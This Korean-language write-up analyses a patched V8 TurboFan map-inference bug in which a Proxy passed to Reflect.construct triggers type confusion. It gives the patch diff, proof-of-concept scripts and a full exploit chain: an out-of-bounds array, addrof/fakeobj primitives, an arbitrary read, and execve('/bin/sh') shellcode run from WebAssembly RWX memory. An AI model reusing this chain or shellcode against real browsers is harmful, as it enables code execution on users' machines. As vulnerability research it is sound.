Background
Map inference in v8
V8에서 map inference는 최적화 과정에서 object의 map, 즉 type을 추론하는 작업입니다.
Object의 map은 runtime에 바뀔 수 있습니다. 예를 들어 다음과 같은 상황을 생각해볼 수 있습니다.
[1, 2, 3]은 small integer들의 배열이므로, a의 map은 PACKED_SMI_ELEMENTS입니다.
a[0]의 값을 1.1로 바꾸면 a는 더 이상 small integer들의 배열이 아니게 되고, 따라서 map도 바뀌어야 합니다. 이 경우에는 double형 상수들의 배열이므로 a의 새로운 map은 PACKED_DOUBLE_ELEMENTS가 됩니다.
/* src/compiler/map-inference.h */
// The MapInference class provides access to the "inferred" maps of an
// {object}. This information can be either "reliable", meaning that the object
// is guaranteed to have one of these maps at runtime, or "unreliable", meaning
// that the object is guaranteed to have HAD one of these maps.
//
// The MapInference class does not expose whether or not the information is
// reliable. A client is expected to eventually make the information reliable by
// calling one of several methods that will either insert map checks, or record
// stability dependencies (or do nothing if the information was already
// reliable).Map inference를 담당하는 MapInference 클래스는 object가 가질 수 있는 map들을 추론합니다.
만약 object가 runtime에 추론의 결과에 없는 map을 가질 가능성이 절대 없다면, 이 추론의 결과는 "reliable"합니다. 이런 경우에는 예상치 못한 type confusion이 발생할 가능성이 없기 때문에 MapChecks 노드를 삽입하지 않음으로써 성능을 최적화합니다.
반대로 object가 runtime에 추론의 결과에 없는 map을 가질 가능성이 존재한다면, 추론의 결과는 "unreliable"합니다. 이런 경우에는 MapChecks 노드를 삽입하여 runtime에 object의 map을 한 번 더 확인하게 됩니다.
Analysis
Environment setting
V8 코드를 다운받습니다.
mkdir v8
cd v8
fetch v8
cd v8패치 직전의 커밋으로 checkout합니다.
git checkout bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07빌드에 필요한 dependency들을 설치합니다.
gclient sync -D
sudo apt install -y python ninja-build
build/install-build-deps.shRelease 모드로 빌드합니다.
tools/dev/gm.py x64.releaseRoot cause
이 취약점이 패치된 커밋의 변경 사항은 다음과 같습니다.
diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index f43a348..ab4ced6 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -386,6 +386,7 @@
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect.
break;
}
case IrOpcode::kJSCreatePromise: {InferReceiverMapsUnsafe() 함수에서 JSCreate 노드를 처리하는 코드에 딱 한 줄이 추가되었습니다.
/* src/compiler/node-properties.cc */
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
...
InferReceiverMapsResult result = kReliableReceiverMaps;
while (true) {
switch (effect->opcode()) {
...
}
// Stop walking the effect chain once we hit the definition of
// the {receiver} along the {effect}s.
if (IsSame(receiver, effect)) return kNoReceiverMaps;
// Continue with the next {effect}.
DCHECK_EQ(1, effect->op()->EffectInputCount());
effect = NodeProperties::GetEffectInput(effect);
}
}JavaScript에서 receiver는 함수 호출의 대상이 되는 객체입니다. 예를 들어, 배열 arr에 대해 arr.pop()을 호출할 경우, pop()의 receiver는 arr입니다.
Turbofan은 JavaScript 코드를 sea of nodes의 형태로 컴파일하는데, 이 sea of nodes에서 어떤 함수 호출 과정에 해당하는 부분을 함수의 effect chain이라고 합니다. InferReceiverMapsUnsafe() 함수는 effect chain을 거슬러 올라가면서 receiver의 map을 추론하는 함수입니다. 매개변수의 receiver는 map을 추론할 receiver에 해당하는 node이고, effect는 탐색을 시작할 node입니다. 추론의 결과는 maps_return에 저장되어 expose됩니다.
함수의 반환값은 InferReceiverMapsResult 자료형으로, 추론 결과가 reliable한지 여부를 나타냅니다.
/* src/compiler/node-properties.h */
// Walks up the {effect} chain to find a witness that provides map
// information about the {receiver}. Can look through potentially
// side effecting nodes.
enum InferReceiverMapsResult {
kNoReceiverMaps, // No receiver maps inferred.
kReliableReceiverMaps, // Receiver maps can be trusted.
kUnreliableReceiverMaps // Receiver maps might have changed (side-effect).
};취약점이 발생한 JSCreate node를 처리하는 코드는 다음과 같습니다.
/* src/compiler/node-properties.cc */
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
...
InferReceiverMapsResult result = kReliableReceiverMaps;
while (true) {
switch (effect->opcode()) {
...
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_return = ZoneHandleSet<Map>(initial_map->object());
return result;
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
break;
}
...
}
...
}
}receiver와 effect가 같지 않으면 아무 동작도 하지 않고 switch문을 빠져나갑니다. 즉, Turbofan은 JSCreate에 의해 receiver의 map이 바뀔 가능성이 없다고 판단합니다. 하지만, 결론적으로는 Reflect.construct()의 세 번째 인자로 Proxy 객체를 넘겨주면 side-effect를 trigger 할 수 있습니다(PoC 참고). 패치에서는 이 경우에 result를 kUnreliableReceiverMaps로 설정하여 side-effect를 처리하도록 하였습니다.
InferReceiverMapsUnsafe() 함수는 MapInference 클래스의 생성자에서 호출됩니다.
/* src/compiler/map-inference.cc */
MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
: broker_(broker), object_(object) {
ZoneHandleSet<Map> maps;
auto result =
NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &maps);
maps_.insert(maps_.end(), maps.begin(), maps.end());
maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps)
? kUnreliableDontNeedGuard
: kReliableOrGuarded;
DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);
}InferReceiverMapsUnsafe()의 반환값이 kUnreliableReceiverMaps이면 maps_state_가 kUnreliableDontNeedGuard로 설정되고, 아니면 kReliableOrGuarded로 설정됩니다.
Map inference는 주로 최적화 과정 중 Inlining phase에서 JSCallReducer에 의해 수행됩니다. JSCallReducer는 함수 호출을 최적화하는 역할을 합니다. 예를 들어, Array.prototype.pop()을 최적화하는 ReduceArrayPrototypePop() 함수에서 map inference를 수행하는 코드는 다음과 같습니다.
/* src/compiler/js-call-reducer.cc */
Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
...
Node* receiver = NodeProperties::GetValueInput(node, 1);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
MapInference inference(broker(), receiver, effect);
if (!inference.HaveMaps()) return NoChange();
MapHandles const& receiver_maps = inference.GetMaps();
std::vector<ElementsKind> kinds;
if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds)) {
return inference.NoChange();
}
if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE();
inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect,
control, p.feedback());
...
}MapInference 객체를 생성한 후 RelyOnMapsPreferStability()를 호출합니다.
/* src/compiler/map-inference.cc */
bool MapInference::RelyOnMapsPreferStability(
CompilationDependencies* dependencies, JSGraph* jsgraph, Node** effect,
Node* control, const FeedbackSource& feedback) {
CHECK(HaveMaps());
if (Safe()) return false;
if (RelyOnMapsViaStability(dependencies)) return true;
CHECK(RelyOnMapsHelper(nullptr, jsgraph, effect, control, feedback));
return false;
}조건문 두 개를 통과하고 나면 RelyOnMapsHelper() 함수 내부에서 InsertMapChecks()를 호출하여 MapChecks를 삽입하게 됩니다. 하지만 Safe() 함수를 보면 다음과 같습니다.
/* src/compiler/map-inference.cc */
bool MapInference::Safe() const { return maps_state_ != kUnreliableNeedGuard; }maps_state_가 kUnreliableNeedGuard가 아닐 경우 true를 반환하고, 아니면 false를 반환합니다. 앞에서 InferReceiverMapsUnsafe()의 반환값이 kUnreliableReceiverMaps가 아니면 maps_state_가 kReliableOrGuarded로 설정되는 것을 확인했습니다. 따라서 Safe()의 반환값이 true가 되고, RelyOnMapsPreferStability()는 MapChecks를 삽입하지 않은 상태로 false를 반환하게 됩니다.
결론적으로, map inference의 결과가 reliable로 설정된 상태에서는 runtime에 JSCreate에 의해 object의 map이 바뀌어도 Turbofan은 map이 바뀌었다는 사실을 "check"하지 않으므로 바뀌기 전과 같은 방식으로 object에 접근하게 되어, type confusion이 발생할 수 있습니다.
PoC
패치와 함께 추가된 PoC(regress-1053604.js)를 살짝 수정하였습니다.
/* poc.js */
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
function empty() { }
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (a[1] = 1.1, Object.prototype)
});
function main(p) {
return f(p);
}
% PrepareFunctionForOptimization(empty);
% PrepareFunctionForOptimization(f);
% PrepareFunctionForOptimization(main);
main(empty);
main(empty);
% OptimizeFunctionOnNextCall(main);
print(main(p));Reflect.construct()는 sea of nodes에서 JSCreate가 됩니다. main(p)를 호출하면 Reflect.construct()의 세 번째 인자로 Proxy 객체인 p를 전달함으로써 JSCreate가 p를 반환하도록 합니다. pop()은 매개변수를 필요로 하지 않지만, pop()의 인자로 Reflect.construct()의 반환값을 전달하여 pop()의 effect chain에 JSCreate를 포함시킵니다.
main(p)를 호출할 때 최적화가 진행됩니다. p에 접근할 때 a[1]에 1.1을 넣어서 a의 map을 PACKED_SMI_ELEMENTS에서 PACKED_DOUBLE_ELEMENTS로 바꿉니다. 즉, JSCreate에 의해 receiver의 map이 바뀌는 상황을 구현한 코드입니다.
$ ~/v8/v8/out/x64.release/d8 --allow-natives-syntax poc.js
-858993459TRIGGER가 true가 된 후 f()가 이상한 값을 반환하는 것을 확인할 수 있습니다.
디버깅해서 무슨 일이 일어나는지 알아봅시다.
/* poc.js */
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
function empty() { }
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => {
a[1] = 1.1;
% DebugPrint(a);
return Object.prototype;
}
});
function main(p) {
return f(p);
}
% PrepareFunctionForOptimization(empty);
% PrepareFunctionForOptimization(f);
% PrepareFunctionForOptimization(main);
main(empty);
main(empty);
% OptimizeFunctionOnNextCall(main);
print(main(p));a의 map이 바뀐 직후에 % DebugPrint(a)를 추가했습니다.
a의 length가 3이기 때문에 a.pop()은 a[2]를 반환합니다. 현재 a는 double(8바이트) 배열이지만 Turbofan의 입장에서는 runtime에 JSCreate에 의해 a의 map이 바뀔 수 없기 때문에 여전히 int(4바이트) 배열입니다. 따라서 빨간 박스 부분을 a[2]라고 생각할 것이고, 정수는 2를 곱해서 메모리에 저장되기 때문에 0x9999999a를 2로 나눈 값을 반환하게 됩니다.
이렇게 해서 처음에 봤던 이상한 값인 -858993459가 나오게 됩니다.
요약하면, 실제 배열의 원소의 크기는 8바이트로 늘어났지만 Turbofan은 그대로 4바이트로 알고 있어서 접근할 수 있는 메모리의 크기가 실제 배열이 차지하는 메모리의 절반이 됩니다.
만약 반대로 실제 배열의 원소의 크기가 8바이트에서 4바이트로 줄어들 경우, Turbofan은 그대로 8바이트로 알고 있으니 접근할 수 있는 메모리의 크기가 실제 배열이 차지하는 메모리의 2배가 될 것입니다. 즉, OOB가 발생합니다.
Double 배열을 object 배열로 바꾸면, object의 주소는 pointer compression이 적용되어 4바이트로 저장되기 때문에, 배열의 원소의 크기를 8바이트에서 4바이트로 줄일 수 있습니다. 다음은 이를 이용하여 OOB를 발생시키는 PoC입니다.
/* poc.js */
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7];
a.pop();
a.pop();
a.pop();
function empty() { }
function f(p) {
a.push(Reflect.construct(empty, arguments, p) ? 1.1 : 1.1);
}
let p = new Proxy(Object, {
get: () => {
a[1] = {};
% DebugPrint(a);
return Object.prototype;
}
});
function main(p) {
f(p);
}
% PrepareFunctionForOptimization(empty);
% PrepareFunctionForOptimization(f);
% PrepareFunctionForOptimization(main);
main(empty);
main(empty);
% OptimizeFunctionOnNextCall(main);
main(p);처음에 a를 double 배열로 정의하고, a.pop()을 세 번 호출하여 push할 자리를 확보해둡니다. p의 get handler function에서 a[1]에 {}를 넣어서 a를 object 배열로 만들고, a.push()로 1.1을 넣습니다.
Turbofan의 입장에서 a[6]의 위치에 1.1이 들어간 것을 확인할 수 있습니다. 이 위치는 실제로는 a[12]와 a[13]에 해당하는 위치입니다.
Exploit
Generate OOB array
Proxy의 get handler function 내부에서 a를 object 배열로 바꾼 직후에 다른 배열을 정의하면 a의 바로 뒤쪽에 인접한 메모리가 할당됩니다. a의 크기를 적절히 조절하여 OOB를 통해 뒤쪽 배열의 length 필드를 덮으면, 이 배열을 통해 자유롭게 OOB read/write가 가능해집니다.
/* ex.js */
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0.1, , , , , , , , , , , , , , , 0.2, 0.3, 0.4];
let oob_arr = undefined; // array for OOB
a.pop();
a.pop();
a.pop();
function empty() { }
function f(p) {
a.push(Reflect.construct(empty, arguments, p) ? 3.2378e-319 : 3.2378e-319); // itof(0xfffen)
}
let p = new Proxy(Object, {
get: () => {
a[1] = {};
oob_arr = [0.1];
return Object.prototype;
}
});
function main(p) {
f(p);
}
% PrepareFunctionForOptimization(empty);
% PrepareFunctionForOptimization(f);
% PrepareFunctionForOptimization(main);
main(empty);
main(empty);
% OptimizeFunctionOnNextCall(main);
main(p);
% DebugPrint(oob_arr);
% OptimizeFunctionOnNextCall()을 사용하지 않고 다음과 같이 구현할 수 있습니다.
/* ex.js */
ITERATIONS = 100000;
let a = [0.1, , , , , , , , , , , , , , , 0.2, 0.3, 0.4];
let oob_arr = undefined; // array for OOB
a.pop();
a.pop();
a.pop();
function empty() { }
function f(p) {
a.push(Reflect.construct(empty, arguments, p) ? 3.2378e-319 : 3.2378e-319); // itof(0xfffen)
for (let i = 0; i < ITERATIONS; i++) { }
}
let p = new Proxy(Object, {
get: () => {
a[1] = {};
oob_arr = [0.1];
return Object.prototype;
}
});
function main(p) {
f(p);
for (let i = 0; i < ITERATIONS; i++) { }
}
for (let i = 0; i < ITERATIONS; i++) { empty(); }
main(empty);
main(empty);
main(p);
print('[+] Length of oob_arr: 0x' + oob_arr.length.toString(16));$ ~/v8/v8/out/x64.release/d8 ex.js
[+] Length of oob_arr: 0x7fff이 다음에는 addrof/fakeobj primitive 구현, aar/aaw 구현, shellcode 실행 순으로 진행하면 됩니다.
Full exploit
/* ex.js */
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
ITERATIONS = 100000;
let a = [0.1, , , , , , , , , , , , , , , 0.2, 0.3, 0.4];
let oob_arr = undefined; // array for OOB
let obj_arr = undefined; // array of objects
let buf = undefined; // ArrayBuffer for shellcode
a.pop();
a.pop();
a.pop();
let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];
function empty() { }
function f(p) {
a.push(Reflect.construct(empty, arguments, p) ? 3.2378e-319 : 3.2378e-319); // itof(0xfffen)
for (let i = 0; i < ITERATIONS; i++) { }
}
let p = new Proxy(Object, {
get: () => {
a[1] = {};
oob_arr = [0.1];
obj_arr = [{}];
buf = new ArrayBuffer(shellcode.length);
return Object.prototype;
}
});
function main(p) {
f(p);
for (let i = 0; i < ITERATIONS; i++) { }
}
for (let i = 0; i < ITERATIONS; i++) { empty(); }
main(empty);
main(empty);
main(p);
// get (compressed) address of object
function addrof(obj) {
obj_arr[0] = obj;
return ftoi(oob_arr[4]) & 0xffffffffn;
}
// generate fake object
function fakeobj(addr) {
let obj_addr = ftoi(oob_arr[4]);
obj_addr &= 0xffffffff00000000n;
obj_addr |= addr;
oob_arr[4] = itof(obj_addr);
return obj_arr[0];
}
let float_arr_map = ftoi(oob_arr[1]) & 0xffffffffn; // map of float array
// arbitrary address read
function aar(addr) {
let elements = addr - 8n; // elements pointer
let length = 2n; // length is 1
let float_arr_struct = [0.1, 0.2]; // fake float array structure
float_arr_struct[0] = itof(float_arr_map);
float_arr_struct[1] = itof((length << 32n) | elements);
let fake = fakeobj(addrof(float_arr_struct) - 0x10n); // fake float array
return ftoi(fake[0]);
}
// allocate rwx memory region
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let sh = wasmInstance.exports.main;
let rwx = aar(addrof(wasmInstance) + 0x68n); // address of rwx memory region
// overwrite backing store
let bs = ftoi(oob_arr[12]);
bs &= 0xffffffffn;
bs |= rwx << 32n;
oob_arr[12] = itof(bs);
bs = ftoi(oob_arr[13]);
bs &= 0xffffffff00000000n;
bs |= rwx >> 32n;
oob_arr[13] = itof(bs);
// execute shellcode
let view = new DataView(buf);
for (let i = 0; i < shellcode.length; i++) {
view.setUint8(i, shellcode[i]); // copy shellcode in rwx memory region
}
sh(); // execute$ ~/v8/v8/out/x64.release/d8 ex.js
$ id
uid=1000(h0meb0dy) gid=1000(h0meb0dy) groups=1000(h0meb0dy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
